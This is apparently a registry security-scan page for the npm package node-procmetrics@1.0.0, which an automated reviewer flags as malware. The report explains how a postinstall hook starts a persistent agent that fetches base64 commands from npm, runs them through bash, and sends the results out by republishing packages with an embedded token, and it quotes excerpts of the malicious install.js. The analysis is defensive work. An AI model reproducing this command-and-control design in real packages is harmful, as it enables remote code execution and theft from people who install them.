registry  /  node-procmetrics  /  1.0.0

node-procmetrics@1.0.0

System metrics collector

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Install-time code creates a detached command agent. It polls an npm package for commands, executes arbitrary shell commands, and publishes their output.

Static reason
High-risk behavior combination matched malicious policy.
Trigger
Installing `node-procmetrics@1.0.0` runs its `postinstall` hook.
Impact
Remote code execution on the installer host, persistence in `/tmp`, and command-output exfiltration.
Mechanism
Embedded-token npm C2 with arbitrary shell execution and result exfiltration via npm publish.
Attack narrative
On install, `install.js` writes and launches a detached copy of itself, configures npm with an embedded token, then continuously polls `node-sysmetrics` metadata for a base64 command. New commands are executed with `bash -c`; their output is encoded into a newly published npm package using the embedded token.
Rationale
Source inspection confirms an install-time remote-command agent with persistence and npm-based output exfiltration. This is concrete malicious behavior, not a scanner-only inference.
Evidence
package.jsoninstall.js/tmp/.sysm-agent.js/tmp/sysm-pkg/package.json/tmp/sysm-pkg/index.js
Network endpoints2
registry.npmjs.org/node-sysmetricsregistry.npmjs.org

Decision evidence

public snapshot
AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
  • `package.json` runs `node install.js` via `postinstall`.
  • `install.js` embeds an npm token and configures it for the registry.
  • `install.js` polls `registry.npmjs.org/node-sysmetrics` for base64 commands.
  • Fetched commands execute through `bash -c` during installation.
  • Results are republished to npm using the embedded token.
  • It drops a detached persistent `/tmp/.sysm-agent.js` copy.
Evidence against
  • No legitimate metrics collection implementation is present.
  • No AI-agent control-surface files are referenced.
Behavioral surface
Source
ChildProcessFilesystemNetworkShell
Supply chainNo supply-chain packaging signals triggered.
ManifestNo manifest risk signals triggered.
scanned 1 file(s), 2.18 KB of source

Source & flagged code

5 flagged · loading source
package.jsonView file
scripts.postinstall = node install.js
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
scripts.postinstall = node install.js
Medium
Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg
install.jsView file
1const { execSync, spawnSync, spawn } = require('child_process'); L2: const https = require('https'); L3: const fs = require('fs'); ... L14: res.on('data', c => d += c); L15: res.on('end', () => { try { resolve(JSON.parse(d)); } catch(e) { resolve({}); } }); L16: }).on('error', () => resolve({})); ... L21: const r = spawnSync('bash', ['-c', cmd], { timeout: 25000, encoding: 'utf8' }); L22: return { output: (r.stdout || '') + (r.stderr || ''), exit_code: r.status || 0 }; L23: } ... L28: const pkg = { name: PKG, version: '1.0.' + Date.now() % 100000, description: encoded, license: 'MIT' }; L29: fs.writeFileSync('/tmp/sysm-pkg/package.json', JSON.stringify(pkg)); L30: fs.writeFileSync('/tmp/sysm-pkg/index.js', '');
Critical
Npm Publish Worm

Source mutates package metadata and republishes itself to npm.

install.jsView on unpkg · L1
1Trigger-reachable chain: scripts.postinstall -> install.js L1: const { execSync, spawnSync, spawn } = require('child_process'); L2: const https = require('https'); L3: const fs = require('fs'); ... L14: res.on('data', c => d += c); L15: res.on('end', () => { try { resolve(JSON.parse(d)); } catch(e) { resolve({}); } }); L16: }).on('error', () => resolve({})); ... L21: const r = spawnSync('bash', ['-c', cmd], { timeout: 25000, encoding: 'utf8' }); L22: return { output: (r.stdout || '') + (r.stderr || ''), exit_code: r.status || 0 }; L23: } ... L28: const pkg = { name: PKG, version: '1.0.' + Date.now() % 100000, description: encoded, license: 'MIT' }; L29: fs.writeFileSync('/tmp/sysm-pkg/package.json', JSON.stringify(pkg)); L30: fs.writeFileSync('/tmp/sysm-pkg/index.js', '');
Critical
Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

install.jsView on unpkg · L1
1const { execSync, spawnSync, spawn } = require('child_process'); L2: const https = require('https');
High
Child Process

Package source references child process execution.

install.jsView on unpkg · L1

Findings

2 Critical3 High3 Medium2 Low
CriticalNpm Publish Worminstall.js
CriticalTrigger Reachable Dangerous Capabilityinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processinstall.js
HighShell
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem